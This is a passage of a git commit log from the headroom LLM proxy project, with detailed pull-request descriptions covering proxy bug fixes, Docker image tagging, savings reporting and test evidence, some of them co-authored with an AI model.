$ ruff check headroom/
All checks passed!

$ mypy headroom/proxy/cost.py headroom/proxy/savings_tracker.py \
       headroom/proxy/prometheus_metrics.py headroom/proxy/outcome.py \
       headroom/perf/analyzer.py
Success: no issues found in 5 source files
```

## Real Behavior Proof

- Environment: macOS, Python 3.12.13, this branch rebased on
`origin/main` @ `1f96dabc`.
- Exact command / steps: reproduced the reported shape as a unit test —
three models with 35,907 / 0 / 164 message savings and 400,000 / 189,206
/ 0 deferral, then rendered `format_report`.
- Observed result: headline `Tokens saved: 625,277` unchanged; rows now
read `435,907` / `189,206` / `164` and sum to the headline. The seam
test drives the real `PrometheusMetrics.record_request` and asserts the
tracker's `by_model` entry ends up at `tokens_saved=400,
tool_tokens_saved=54,000, headline_tokens_saved=54,400`.
- Not tested: no live proxy run against a real Copilot/Claude Code
session; the arithmetic is pinned at the four code seams instead. The
dashboard `title` tooltip is markup-only and not covered by a rendering
test.

## Runtime Rollout Safety

- Rollout-managed feature(s): none — this is reporting arithmetic, not a
request-path behavior.
- Minimum rollout channel: n/a.
- Stable/default behavior changed: yes, displayed per-model token
savings and percentages increase to include tool-schema deferral. No
request is treated differently.
- Kill switch / disable path: n/a. Components remain separately readable
(`compression_tokens_saved` / `tool_tokens_saved`) if a consumer wants
the old message-only figure.
- Unsafe override required: none.
- Qualification impact: none — `savings_usd` and budget enforcement are
unchanged by design.
- Rollback path: revert the commit; `tool_tokens_saved` in persisted
state is then simply ignored by the older reader.

## Review Readiness

- [x] I have performed a self-review
- [x] This PR is ready for human review

## Checklist

- [x] My code follows the project's style guidelines

Co-authored-by: Tejas Chopra <tejas@Tejass-MacBook-Pro.local>
Co-authored-by: Claude Opus 5 <noreply@anthropic.com>
2026-08-20 11:54:02 -07:00
Tejas Chopra
bf651c3dc1
fix(docker): give :latest exactly one writer (#3154)
## Description

Closes #3150. `ghcr.io/headroomlabs-ai/headroom:latest` resolved to the
distroless `code-slim` build, whose `import onnxruntime` segfaults on
arm64. The proxy imports onnxruntime at startup in cache mode, so the
container never bound its port and `headroom deploy` crash-looped (exit
139) on Apple Silicon.

@ricwo's report is exceptionally good — it isolates the base image with
a copy-`site-packages`-onto-`debian:trixie-slim` experiment, and
explicitly retracts an earlier wrong theory about the `cpuid_info` line.
I verified the tagging half independently against the live registry:

```
latest            sha256:6b34905489e3...   <- identical
0.36.0-code-slim  sha256:6b34905489e3...   <- identical
0.36.0            sha256:bb8e77d01b54...
```

**Root cause, proven from the job log rather than inferred.**
`docker/metadata-action` defaults to `latest=auto`, which appends a bare
`latest` for any semver release — and its own log line reads
`suffixLatest=false`, meaning the per-tag `suffix=` that keeps every
other tag variant-scoped never reaches it. All eight variant cells
therefore emitted `:latest`, and the last to finish won. From the 0.36.0
`code-slim` cell:

```
latest=auto
suffixLatest=false
tags: [..."ghcr.io/headroomlabs-ai/headroom:code-slim",
           "ghcr.io/headroomlabs-ai/headroom:latest"]
pushing sha256:fbcbb68... to ghcr.io/headroomlabs-ai/headroom:latest
```

It landed on `code-slim` by scheduling luck. Any of the eight could have
won on any release.

## Type of Change

- [x] Bug fix (non-breaking change that fixes an issue)

## Changes Made

- **`flavor: latest=false`** on the `docker-manifest` metadata-action.
Stops the tag being generated at all, leaving the root-cell promotion
step as the single writer of `:latest`.
- **A runtime guard** in `Create multi-arch manifest`: if a suffixed
variant reaches the push carrying a bare `latest`, the job fails instead
of publishing. `VARIANT_NAME` is passed via `env:` rather than spliced
inline.
- **A test that encodes the missing half of the contract.**
`test_docker_latest_promotion_is_owned_by_root_manifest_cell` already
existed and passed throughout — it asserted the *intended* writer was
the root cell but never the *absence of unintended ones*. The new test
asserts exclusivity: `latest=false` is set, no tag rule reintroduces
`value=latest`, and the guard runs before anything is pushed.

## Testing

- [x] Unit tests pass (`pytest`)

### Test Output

```text
tests/test_release_workflows.py   48 passed, 1 skipped, 1 failed

The failure is test_no_native_tls_in_wheel_build_tree:
  FileNotFoundError: [Errno 2] No such file or directory: 'cargo'
Pre-existing and environmental — cargo is not installed on this machine;
it fails identically on a clean main checkout.

ruff check: All checks passed
ruff format --check: 1 file already formatted
YAML parses; flavor='latest=false', env keys ['IMAGE','DIGEST_DIR','VARIANT_NAME'].
```

## Real Behavior Proof

- Environment: macOS (darwin 25.4.0), worktree off `main`. Live registry
queried anonymously via the GHCR token endpoint.
- Exact command / steps: (1) resolved `latest`, `0.36.0` and all four
variant tags to manifest digests directly from
`ghcr.io/v2/.../manifests/*` to confirm the aliasing; (2) pulled the
`docker-manifest (code-slim)` job log from the 0.36.0 release run to see
which tags that cell actually pushed; (3) applied the fix and ran the
workflow test suite; (4) **removed `latest=false` again and re-ran the
new test** to confirm it reproduces the bug.
- Observed result: `:latest` and `:0.36.0-code-slim` share digest
`sha256:6b34905489e3...` while `:0.36.0` is `sha256:bb8e77d01b54...`,
exactly as reported. The code-slim job log shows `latest=auto` /
`suffixLatest=false` and `pushing ... to
ghcr.io/headroomlabs-ai/headroom:latest`. With the fix removed the new
test fails on `assert 'latest=false' in ''`; with it restored, it
passes.
- Not tested: I could not exercise the arm64 segfault or a real
multi-arch push from here — no ghcr write credential and no arm64
runner. The tagging fix is verified at the config layer plus the
registry evidence above; the end-to-end proof is the re-run described
below.

## Runtime Rollout Safety

- Rollout-managed feature(s): None.
- Minimum rollout channel: n/a
- Stable/default behavior changed: Yes, and that is the fix — `:latest`
will track the plain Debian-based build instead of whichever variant
cell happened to finish last.
- Kill switch / disable path: n/a (CI tagging policy).
- Unsafe override required: No.
- Qualification impact: A variant cell that would publish a bare
`latest` now fails the Docker job loudly rather than silently repointing
the default tag.
- Rollback path: Revert the commit.

## Review Readiness

- [x] I have performed a self-review
- [x] This PR is ready for human review

## Additional Notes

**The live `:latest` is still wrong until the images are re-tagged.**
Merging this fixes future releases but does not touch the registry. Once
merged, run `docker.yml` via `workflow_dispatch` with `version=0.36.0`
to rebuild and repoint `:latest` at the plain build. I don't hold a
`write:packages` credential, so that step needs a maintainer.

**Not fixed here, and it outlives this PR:** the distroless arm64
segfault itself. After this change `:latest` points at the Debian build
that works, but `0.36.0-slim` and `0.36.0-code-slim` remain broken on
arm64 for anyone selecting them explicitly. @ricwo's evidence points
squarely at the distroless base — same wheel, same numpy 2.5.2, same
Python 3.13.5, works on `debian:trixie-slim` and segfaults on
distroless. That deserves its own issue; the two failures are
independent and this one is a release-tagging bug, exactly as the report
says.

Related but separate, from an earlier audit of this same file: the four
bare variants set `RUNTIME_USER = "root"` in `docker-bake.hcl` while
`Dockerfile:162` defaults to `nonroot`, and the `runtime-default`
(nonroot) bake target is referenced by the docs but by no workflow.
Worth its own change.

Co-authored-by: Tejas Chopra <tejas@Tejass-MacBook-Pro.local>
2026-08-20 11:45:59 -07:00
Tejas Chopra
1f96dabc19
fix(security): address u9up assessment findings (WEB-01–07) (#2207)
Hardens client-selected upstreams, memory identity resolution, downloaded binary integrity, telemetry import, Docker defaults, Neo4j credentials, and archive extraction. Refreshes the branch against current main and preserves newer same-origin and loopback protections.
2026-08-20 09:02:44 -05:00
Serge ARADJ
a3d9424de9
fix(proxy): return 502, not 200, when upstream connect retries are exhausted (#3083)
## Description

When every connect retry to the upstream API fails,
`_stream_response_inner` synthesizes its own SSE error response (added
in #1639, so an h2 `StreamReset` wouldn't surface as an unhandled 502).
It was built without a `status_code`, so Starlette defaulted it to
**200**.

A 200 carrying a lone `event: error` frame and no `message_start` is
indistinguishable, to every Anthropic/OpenAI SDK, from a successful
stream that produced no events. Claude Code reports:

```
API Error: API returned an empty or malformed response (HTTP 200)
 - check for a proxy or gateway intercepting the request
```

The client also cannot recover, because 200 is not a retryable status.

**It does not self-heal.** Compression fails open on timeout, so the
proxy forwards the full uncompressed body; the client retries, re-sends
the same oversized payload, hits the same transport failure, and gets
another 200. The session is stuck until the client is pointed away from
the proxy.

Related — same *symptom*, different root cause, so this closes none of
them: #3040, #3055, #3019, #2952 (CCR buffered-stream conversion),
#3071, #3017. Worth noting that #3040 ("first messages succeed, fails
after several turns", closed `NOT_PLANNED`) matches this failure's shape
exactly.

## Type of Change

- [x] Bug fix (non-breaking change that fixes an issue)
- [ ] New feature (non-breaking change that adds functionality)
- [x] Breaking change (fix or feature that would cause existing
functionality to change)
- [x] Documentation update
- [ ] Performance improvement
- [ ] Code refactoring (no functional changes)

Marked breaking because the status code on this path changes 200 to 502.
See **Runtime Rollout Safety**.

## Changes Made

- `handlers/streaming.py` — the synthesized transport-error response now
returns **502**. The structured SSE body is unchanged for clients that
read it. No body byte has been forwarded at that point, so the status
line is still ours to set.
- `prometheus_metrics.py` — new
`headroom_upstream_connection_errors_total{provider}`. This path
forwards no upstream status, so there was nothing to attribute the
failure to in `/metrics`; it survived only as a log line. Mirrors
`record_compression_failed` and takes the same `_obs_counter_lock`.
- `server.py` — `HEADROOM_LOG_LEVEL` for uvicorn's level, previously
hardcoded to `"warning"` with no env var and no CLI flag. Default
unchanged. An unrecognized value warns and falls back rather than
raising (uvicorn raises `KeyError` on unknown levels).
- `docs/content/docs/proxy.mdx` — documents the new env var in the
Observability table.

## Testing

- [x] Unit tests pass (`pytest`)
- [x] Linting passes (`ruff check .`)
- [x] Type checking passes (`mypy headroom`)
- [x] New tests added for new functionality
- [x] Manual testing performed

`test_stream_reset_exhaustion_yields_sse_error_not_crash` asserted the
SSE body but never the status — which is how the 200 survived. Added a
test that pins the status specifically, a happy-path guard, and coverage
for the counter and the env-var resolver.

### Test Output

```text
$ python -m pytest tests/test_h2_stream_reset_retry.py tests/test_prometheus_obs_counters.py tests/test_uvicorn_log_level_env.py -q
29 passed in 5.26s

$ python -m ruff check .
All checks passed!

$ python -m ruff format --check .
1506 files already formatted

$ python -m mypy headroom/proxy/handlers/streaming.py headroom/proxy/prometheus_metrics.py headroom/proxy/server.py
Success: no issues found in 3 source files

# Fails before the fix (status_code=502 line removed, nothing else changed):
$ python -m pytest tests/test_h2_stream_reset_retry.py -k status_is_not_200
    assert result.status_code == 502
E   assert 200 == 502
FAILED tests/test_h2_stream_reset_retry.py::test_stream_reset_exhaustion_status_is_not_200
1 failed, 5 deselected in 1.28s
```

Broader regression run (181 passed): `test_h2_stream_reset_retry`,
`test_prometheus_obs_counters`, `test_uvicorn_log_level_env`,
`test_prometheus_label_escaping`, `test_observability_metrics`,
`test_prometheus_stage_timing_concurrency`,
`test_proxy_streaming_ratelimit_headers`, `test_proxy_retry_429`,
`test_proxy_byte_faithful_forwarding`, `test_ws_http_fallback`,
`test_mid_turn_steering`, `test_proxy_anthropic_cache_stability`.

## Real Behavior Proof

- Environment: Windows 11, Python 3.13.15, headroom @ this branch.
Genuine `create_app()` FastAPI app under real uvicorn — no mocks, no
TestClient. Upstream pinned to `http://127.0.0.1:59999` (a closed port),
so every connect attempt is a real TCP refusal, producing a real
`httpx.ConnectError` (an `httpx.TransportError`) into the branch under
test. `retry_max_attempts=2`.
- Exact command / steps: boot the real app with
`HEADROOM_LOG_LEVEL=info` and
`ProxyConfig(anthropic_api_url="http://127.0.0.1:59999")`, POST a
`stream:true` request to `/v1/messages`, then scrape `/metrics`.
Verbatim commands below.
- Observed result: `HTTP_STATUS=502` (previously 200), structured SSE
error body intact,
`headroom_upstream_connection_errors_total{provider="anthropic"} 1`, and
a uvicorn access line present only because `HEADROOM_LOG_LEVEL=info` was
honored. Verbatim output below.
- Not tested: the h2 `StreamReset` variant specifically — reproduced via
`ConnectError`, a sibling `httpx.TransportError` travelling the
identical code path (the existing `test_stream_reset_exhaustion_*` tests
cover `RemoteProtocolError` at unit level). Not exercised against the
OpenAI, Gemini, or Bedrock streaming handlers, which have their own
error paths. No load or concurrency testing.

Commands run after the patch:

```bash
# boot the real app with a dead upstream and the new env var set
HEADROOM_LOG_LEVEL=info python run_proxy_proof.py   # ProxyConfig(anthropic_api_url="http://127.0.0.1:59999")

curl -s -o resp.txt -w "HTTP_STATUS=%{http_code}\ncontent_type=%{content_type}\n" \
  http://127.0.0.1:8799/v1/messages \
  -H "content-type: application/json" \
  -H "x-api-key: proof-key" \
  -H "anthropic-version: 2023-06-01" \
  -d @request.json    # {"model":"claude-opus-5","max_tokens":64,"stream":true,"messages":[...]}
```

After-fix evidence:

```text
PROOF: HEADROOM_LOG_LEVEL='info' -> uvicorn log_level='info'
PROOF: upstream pinned to http://127.0.0.1:59999 (closed port)

HTTP_STATUS=502
content_type=text/event-stream; charset=utf-8

event: error
data: {"type": "error", "error": {"type": "connection_error", "message": "Failed to connect to upstream API: All connection attempts failed"}}
```

```text
$ curl -s http://127.0.0.1:8799/metrics | grep upstream_connection_errors
# HELP headroom_upstream_connection_errors_total Exhausted-retries upstream transport failures by provider; the proxy answered 502 itself because no upstream response arrived
# TYPE headroom_upstream_connection_errors_total counter
headroom_upstream_connection_errors_total{provider="anthropic"} 1
```

```text
# uvicorn access log — present only because HEADROOM_LOG_LEVEL=info was honored:
INFO:     127.0.0.1:62472 - "POST /v1/messages HTTP/1.1" 502 Bad Gateway
INFO:     127.0.0.1:62479 - "GET /metrics HTTP/1.1" 200 OK
```

All three changes are exercised end to end: the status is 502, the
structured body survives, the counter increments, and the env var takes
effect.

Separately, this ran against a real deployment: the fix is live on a
self-hosted proxy at `0.35.1-alpha.3` (Azure Container Apps, Cloudflare
in front), where the original HTTP 200 was first observed against
`0.35.1-alpha.1`.

## Runtime Rollout Safety

- Rollout-managed feature(s): none — unconditional bug fix, no flag.
- Minimum rollout channel: n/a — ships with the change.
- Stable/default behavior changed: yes. This path returns 502 instead of
200. `HEADROOM_LOG_LEVEL` and the new counter both default to current
behavior (`warning`; the counter is absent from `/metrics` until the
first occurrence).
- Kill switch / disable path: none. Happy to add an env guard if you
would prefer it staged, though a 200 on this path is never correct.
- Unsafe override required: no.
- Qualification impact: any client treating the synthesized 200 as
success now sees a 5xx. That is the fix — such a client was silently
accepting a truncated response. Retry-on-5xx logic in the Anthropic and
OpenAI SDKs will now retry a transient transport failure, which is the
intended behavior.
- Rollback path: revert the commit; single and self-contained.

## Review Readiness

- [x] I have performed a self-review
- [x] This PR is ready for human review

## Checklist

- [x] My code follows the project's style guidelines
- [x] I have performed a self-review of my code
- [x] I have commented my code, particularly in hard-to-understand areas
- [x] I have made corresponding changes to the documentation
- [x] My changes generate no new warnings
- [x] I have added tests that prove my fix is effective or that my
feature works
- [x] New and existing unit tests pass locally with my changes
- [x] I did **not** edit `CHANGELOG.md` — it is generated by
release-please from my Conventional Commit PR title (a CI guard enforces
this)

## Screenshots (if applicable)

N/A — terminal output above.

## Additional Notes

**Scope.** Three changes in one PR, against the "one logical change"
guidance. They share a single root cause: this bug was only findable by
reading `/metrics`, because the failing path emitted no status, no
counter, and (see below) no usable log line. The counter and the env var
are the observability that should have made it a five-minute diagnosis
instead of a forensic exercise. Happy to split the `HEADROOM_LOG_LEVEL`
change into its own PR if you would rather keep the fix minimal — just
say so.

**Related defect, filed separately as #3087.** While producing the proof
above I found that the proxy's own `logger.error("Connection error to
upstream API: ...")` never reaches stdout: that run produced **zero**
`headroom.proxy` logger lines, only uvicorn's own. Root cause is
`_setup_file_logging()` setting `propagate = False` on the `headroom`
logger (`helpers.py:1536`), which sends every application record to
`~/.headroom/logs/proxy.log` and nowhere else — invisible in any
container, where stdout is the log channel. That is precisely why this
PR adds a counter rather than trusting a log line. Not fixed here: the
right remedy is a maintainer call, so it is written up in #3087 with a
repro rather than folded into this PR.

**No dependency changes.**

The dead-upstream harness used for the proof above is ~25 lines
(`ProxyConfig(anthropic_api_url="http://127.0.0.1:59999")` +
`uvicorn.run(create_app(config))`); happy to contribute it as an e2e
test if that is useful.

Co-authored-by: Claude Opus 5 (1M context) <noreply@anthropic.com>
2026-08-20 06:32:30 -07:00
Tejas Chopra
0e26fb80de
fix(proxy/anthropic): stop answering a non-streaming turn with an event stream (#3142)
## Description

Closes #3130. Unifies #3131 (@Joaovsales) and #3132 (@taiseii), which
landed within hours of each other on the same bug. Neither is redundant
— **#3131 contributed the clearest statement of the contract; #3132
contributed the reconstruction that can actually be trusted to satisfy
it.** This takes both.

A caller that sent `stream: false` was handed a `text/event-stream` body
at HTTP 200. The reply was complete — 8756 bytes, a valid upstream
`request-id` — it was simply wearing a wire format the SDK cannot parse,
so the turn was lost.

**On root cause.** #3130 says outright: *"I could not pin down why the
upstream answered a `stream`-less request with an event stream."* I
think this does. At `v0.35.0` the CCR path flips the body to `stream:
false` and never touches the client's `Accept` header — I checked the
tag and the count of Accept rewrites at that site is **zero**. So
upstream receives a self-contradicting request: *"answer as JSON"* in
the body, *"I only accept SSE"* in the headers. Both reporters (#3130,
#3140) show `server: cloudflare` / `cf-ray`, and both describe it as
intermittent — consistent with an edge honouring `Accept` under retry.
#3102 fixed that for the CCR flip; this PR moves the rewrite to the
buffered boundary **every** non-streaming request reaches, so the
client's own non-streaming retry is covered too.

## Type of Change

- [x] Bug fix (non-breaking change that fixes an issue)

## Changes Made

**From #3131 — the contract.** `headroom/proxy/nonstream_sse_policy.py`:
a pure module with a behaviour matrix and `should_recover_sse_reply` as
a single predicate. The three negative arms are deliberate — a streaming
caller wants SSE, a JSON content-type is already correct, a non-200
carries an upstream error the client should see verbatim.

**From #3132 — the reconstruction.** `require_complete=True` demands
`message_start`, a terminal `message_stop`, every opened block closed,
no in-band `error` event, and no delta the reconstructor cannot replay.
Anything short of that is a 502.

Three things only #3132 had, each load-bearing:

- **`index` is stripped from rebuilt content blocks.** The parser writes
it (`streaming.py:425`) and a client persists the reconstructed turn and
echoes it back — at which point Anthropic 400s with
`content.0.text.index: Extra inputs are not permitted`.
`_strip_streaming_only_content_fields` (`anthropic.py:185`) already
documents this exact failure. That inbound stripper would mask it *while
the proxy is in the path*, but the client's stored history is still
polluted.
- **SSE framing is normalized and `data:` no longer requires the
optional space.** The old `startswith("data: ")` skipped a spec-valid
stream **entirely** — zero events parsed, which is literally what the
report describes (*"0 stream events received"*).
- **Detection sniffs the body**, so a mislabeled or absent content-type
is still caught.

**Reconciled where they disagreed:**

- *Headers.* #3131 hand-rolled a framing list; this uses the established
`sanitize_forwarded_response_headers`. That already strips `connection`,
`keep-alive` and `server` alongside the content-* family — and per the
comment at `helpers.py:325`, leaving `transfer-encoding` on a rebuilt
body is what produced an empty HTTP 200 in #3019. #3131's list would
have left three of those on. #3132's `cf-*` filter is kept.
- *Detection.* The body sniff arrives as `body_is_event_stream`, so the
policy module stays pure — the sniff needs the response object and the
handler owns that.
- Dropped #3131's `json_reply_headers` and its test class; everything
else from both PRs is retained.

## Testing

- [x] Unit tests pass (`pytest`)
- [x] Integration tests pass

### Test Output

```text
tests/test_nonstream_sse_policy.py   18 passed   (from #3131)
tests/test_anthropic_buffered_sse.py 18 passed   (from #3132)
                                     36 passed

Regression sweep (-k "stream or sse or ccr or anthropic or proxy or buffered or usage"):
  2982 passed, 181 skipped, 0 failed in 153.41s

ruff check: All checks passed
ruff format --check: 527 files already formatted
```

Both contributors' suites are kept whole and both pass unmodified
against the merged implementation, which is the useful signal here —
they were written independently against different implementations.

## Real Behavior Proof

- Environment: macOS (darwin 25.4.0), Python 3.12.13, worktree off
`main`, `_core.abi3.so` copied in.
- Exact command / steps: applied #3132 as the engine, layered #3131's
policy module over it, rewired the decision site to the predicate, then
ran both suites and a 2982-test sweep concentrated on everything
touching the shared SSE parser.
- Observed result: 36/36 across both contributed suites, 2982 passed / 0
failed on the sweep. The sweep matters more than usual here —
`_parse_sse_to_response` is shared with the streaming path's usage
accounting, and `require_complete` defaults to `False` specifically so
existing callers keep the lenient reconstruction they were written
against. Nothing regressed.
- Not tested: no live upstream. I could not reproduce the upstream
answering a `stream`-less request with SSE against real
`api.anthropic.com` — that is the condition #3130 reports as
intermittent and load-dependent, and the Accept explanation above
remains a well-supported hypothesis rather than something I observed.
The fix does not depend on it: whatever the upstream returns, a caller
that did not ask for streaming is no longer handed SSE.

## Runtime Rollout Safety

- Rollout-managed feature(s): None.
- Minimum rollout channel: n/a
- Stable/default behavior changed: Yes, deliberately, in two places. A
non-streaming turn answered with SSE is now reconstructed as JSON
instead of relayed; an SSE reply that cannot be faithfully reconstructed
is now a 502 instead of an unparseable 200. Both are the point.
`require_complete` defaults to `False`, so streaming callers of the
shared parser are untouched.
- Kill switch / disable path: none by design — relaying a body the
client cannot parse has no legitimate mode.
- Unsafe override required: No.
- Qualification impact: A truncated upstream stream now surfaces as an
explicit 502 rather than a short-but-successful turn. More visible
failures, fewer silent ones.
- Rollback path: Revert the commit.

## Review Readiness

- [x] I have performed a self-review
- [x] This PR is ready for human review

## Additional Notes

If this lands, #3131 and #3132 should be closed as superseded — both
authors are credited via `Co-authored-by:` and their tests ship intact.
I would not close either before a maintainer agrees this unification is
the direction, since it discards a design decision from each.

**Wider context, not fixed here:** #3130 and #3140 both report against
**0.35.0**, and `main` already carries a stack of fixes for this symptom
class that has never shipped — #3102 (Accept), #3092, #3091, #3094,
#3101, #3069, #3084, #3124, #3134. All of them are gated behind #3067
`chore: release 0.36.0`. Every closed lookalike (#3019, #3055, #3071,
#3040, #2952) was fixed into that same unreleased window. Merging this
PR does not help either reporter until 0.36.0 ships; **cutting that
release is the higher-leverage action.**

The interim workaround for anyone on 0.35.0 is `HEADROOM_NO_CCR=1` — the
buffered flip is gated on `_has_headroom_retrieve_tool`, and `no_ccr`
stops the tool being injected, so the flip never engages. Note `headroom
wrap` has no `--no-ccr` flag in 0.35.0, so it has to be the env var.

Co-authored-by: Tejas Chopra <tejas@Tejass-MacBook-Pro.local>
Co-authored-by: João Souto <73318835+Joaovsales@users.noreply.github.com>
Co-authored-by: taiseii <37083727+taiseii@users.noreply.github.com>
Co-authored-by: Claude Opus 5 <noreply@anthropic.com>
2026-08-19 20:45:38 -07:00
Tejas Chopra
709d74cd78
test(proxy): pin down what Anthropic's thinking signature actually covers (#3135)
## Why

#3124 relaxed the signed-thinking lock on the premise that **the
signature seals the thinking block, not the request**. Nothing in
Anthropic's public docs states the scope, so that premise was inference
— and it shipped **on by default**. This measures it instead.

## Result

Each test replays a turn holding a real signed thinking block, mutates
exactly one part, and asserts the request is still accepted. **Identical
on all five models tested** — `sonnet-4-5`, `opus-4-5`, `sonnet-4-6`,
`sonnet-5`, `opus-5`:

| mutation | status |
|---|---|
| exact replay (control) | 200 |
| compress a `tool_result` in a later user message — *what we actually
do* | 200 |
| rewrite sibling `text`/`tool_use` blocks **inside the assistant
message holding the thinking block** | 200 |
| rewrite top-level `system` + tool descriptions (schema compaction,
tool-search deferral) | 200 |
| re-serialize the body with reordered keys (canonical encode) | 200 |
| **forge the signature** | **400** invalid signature in thinking block
|

## The two tests that matter

**The sibling case** is the gap the fingerprint cannot close by
inspection. `thinking_blocks_survived_mutation` proves the thinking
blocks are byte-identical, but says nothing about their *neighbours in
the same assistant message*. If the seal covered the whole assistant
turn, a compressed sibling would break it and the fingerprint would wave
it through. It doesn't.

**The forged-signature test is the negative control**, and the
load-bearing test in the file. Without it, a wall of green would be
equally consistent with *"Anthropic never validates signatures on this
request shape"* — which would make every other assertion here vacuous.
It 400s, so validation is live and the acceptances carry information.

This also disproves #2254's stated cause directly: a plain canonical
re-encode changes the bytes and is accepted. Those 400s were real, but
were never traced to their true trigger.

## Scope

- Gated behind `pytest.mark.live`, skipped without a key. Verified it
skips cleanly (`6 skipped`) and deselects under `-m "not live"`, so CI
is unaffected.
- Model override via `HEADROOM_LIVE_THINKING_MODEL`.
- Also replaces the speculative risk note in `body_forwarding.py` with
the measured finding.

The relaxation still only forwards when every thinking block is
byte-identical — narrower than this evidence permits — so these results
are headroom, not the safety margin.

🤖 Generated with [Claude Code](https://claude.com/claude-code)

Co-authored-by: Tejas Chopra <tejas@Tejass-MacBook-Pro.local>
Co-authored-by: Claude Opus 5 <noreply@anthropic.com>
2026-08-19 14:13:26 -07:00
Tejas Chopra
284ff31947
fix(proxy): stop a lone surrogate turning a thinking body into a 500 (#3134)
## What

`serialize_body_canonical` uses `ensure_ascii=False`, so a lone
surrogate anywhere in the body raises `UnicodeEncodeError` at
`.encode("utf-8")`.

This is reachable input, not a hypothetical:
- `"\ud800"` is **valid JSON** — `json.loads` accepts it happily
- a tool result carrying truncated UTF-16 or sliced binary produces one

Both forwarders resolve outbound bytes **outside** their
connection-retry loop (`streaming.py:1131`, `server.py:2170`), so the
exception escapes as an **unretried 500**.

## Why now

#3124 made this newly load-bearing. Before it, a mutated
thinking-bearing body returned the client's bytes verbatim and **never
reached canonical serialization at all**. Now it does — so the largest,
most tool-result-heavy population in Claude Code traffic depends on this
not raising.

Reproduced against `main`:

```
serialize_body_canonical RAISES: UnicodeEncodeError: 'utf-8' codec can't
  encode character '\ud800' in position 91: surrogates not allowed
select_outbound_body RAISES: UnicodeEncodeError: ...
```

## The fix

Fall back to the escaped encoding on `UnicodeEncodeError`.

**Why this and not passthrough.** Falling back to the client's original
bytes would silently drop every mutation — including the handler's
`stream` flip — and diverge from `outbound_body_is_client_bytes`, which
cannot predict a serialization failure without doing the serialization.
That reintroduces the #2952 buffered/streamed mismatch. The escaped form
keeps all mutations on the wire.

It encodes the **identical parsed values**, so upstream reconstructs
exactly the same request and the signed thinking blocks round-trip
untouched (asserted in the test). Only the byte-level encoding differs,
costing one cache miss on a request that would otherwise have failed
outright. Normal bodies are unaffected — the fast path is unchanged and
still emits compact non-ASCII.

## Test

`test_lone_surrogate_in_thinking_body_serializes_instead_of_raising` —
asserts no raise, `source == "canonical"`, mutation preserved, and the
signed block round-tripping to exactly the client's values.

Local: 78 passed across `test_proxy_byte_faithful_forwarding.py` +
`test_ccr_buffered_stream_signed_thinking.py`; 191 passed across all
serialization-touching tests. ruff + mypy clean.

🤖 Generated with [Claude Code](https://claude.com/claude-code)

Co-authored-by: Tejas Chopra <tejas@Tejass-MacBook-Pro.local>
Co-authored-by: Claude Opus 5 <noreply@anthropic.com>
2026-08-19 13:58:21 -07:00
Tejas Chopra
17522fb0a1
fix(proxy): scope the signed-thinking lock to blocks that actually changed (#3124)
## Description

Anthropic signs the thinking **block**, not the request — the signature
covers that block's own content. #2254 responded to real 400s by
freezing the **entire body** whenever any thinking block appeared
anywhere in history. That protects bytes no signature covers, including
top-level `tools` and `system`, which are not even inside `messages`.

Measured on 227,777 lines of real proxy logs from a user reporting ~1%
savings:

- **618 of 1,802 requests (34.3%)** had every computed compression
discarded. **100%** were `client=claude-code`; Codex/GPT traffic was
untouched.
- One session logged turn 1 saving 428 tokens, then **229 consecutive
turns saving exactly 0**.
- **491.9s — 34.2% of all optimization time** — was spent computing
compressions that were then thrown away. One request paid 21.2s to
compute a real 8.0% reduction that never shipped.
- It orphaned the turn-1 cache prefix on **12 of 35** sessions,
corroborated by Headroom's own `CACHE-MISS-ATTRIBUTION` events (21/21
are `reason=prefix_change`, **none** TTL expiry), with an exact token
match: `expected_cached=27,541` equalling turn 1's write.

## Changes Made

- Replace the presence test with a **positional, order-sensitive
fingerprint** of every `thinking` / `redacted_thinking` block, compared
against the client's original. Byte-equal blocks → forward the edits.
Any difference (edited text, edited signature, dropped, reordered,
moved) or any failure to prove equality → today's verbatim passthrough.
Keys are sorted so a dict rebuilt in a different order is not mistaken
for an edit.
- `outbound_body_is_client_bytes` mirrors the relaxation exactly, or the
CCR buffering probe and the forwarder would disagree and re-create #2952
in reverse.
- The #2990/#3015 accounting reset now **recomputes** the lock
immediately before use instead of reusing the probe taken before the CCR
branch. The predicate tests block *content* now, and
`enforce_cache_control_ttl_order` rewrites `body["messages"]` in
between, so the early answer can go stale. (Latent before this PR;
load-bearing after.)
- **Perf:** parse the client body once per decision, plus a substring
prescreen. A 9.3 MB body (the real production maximum) could otherwise
be parsed four times per request on a stage that already carries a 30s
timeout whose expiry quarantines compression process-wide.

## Rollout safety

**On by default at the maintainer's explicit direction.**
`HEADROOM_THINKING_PRESERVING_MUTATIONS=0` restores the previous blanket
lock with no deploy.

The risk is recorded in the module rather than smoothed over: #2254's
stated cause — a plain canonical re-encode — cannot alter parsed values
and therefore cannot by itself invalidate a signature, and that report's
own log shows a transform (`tool_search_deferral`) firing on the failing
turn. So the stated cause does not hold up, **but the failure was real
and its true trigger was never isolated.** This relaxation is strictly
narrower than what broke: it forwards edits only when every block is
provably identical, which is the property the blanket rule was a crude
proxy for.

## Testing

```text
uv run pytest tests/test_proxy_byte_faithful_forwarding.py tests/test_ccr_buffered_stream_signed_thinking.py \
              tests/test_proxy/test_anthropic_ccr_deferred_injection.py
92 passed
uv run mypy headroom/proxy/body_forwarding.py headroom/proxy/handlers/anthropic.py  # Success
uv run ruff check . && ruff format --check .  # clean
```

Existing tests that encoded the blanket lock were **re-pointed at the
correct trigger, not deleted** — each now tampers with a thinking block
so it still guards what it was written for.
`test_signed_thinking_discarded_mutation_uses_wire_truth_for_all_accounting`
(#3015) now runs under the kill switch, which proves both that the
accounting neutralisation still works and that the env-var rollback is a
complete restoration.

## Real behavior proof

- **Setup:** macOS arm64, Python 3.12, this branch, byte-capturing
transport.
- **After-fix evidence** — end-to-end through `/v1/messages` with a
signed thinking block in history and a compactable tool schema
(`test_untouched_thinking_lets_tool_compaction_reach_the_wire`): the
annotation keys the compaction strips (`$schema`, `title`) are **absent
from the captured upstream bytes**, and
`wire["messages"][1]["content"][0]` is **byte-identical to the client's
signed block**. Under the kill switch the same request forwards the
client's bytes unchanged with accounting zeroed.
- **Parse-count measured, not assumed:** 7.2 MB thinking-bearing body →
2 parses became 1. 2 MB body with no thinking blocks (~2 of 3 requests)
→ 1 parse became **0**, i.e. faster than before this feature existed.
- **Projected effect on the reporting user's traffic**, derived from
their unlocked requests: Claude Code headline **2.27% → roughly 5–6%**.
Their unlocked requests already achieve 5.62% overall and 7.2–7.4% in
the 20K–150K band, which matches our fleet beacon (~8%); the 2.27% is a
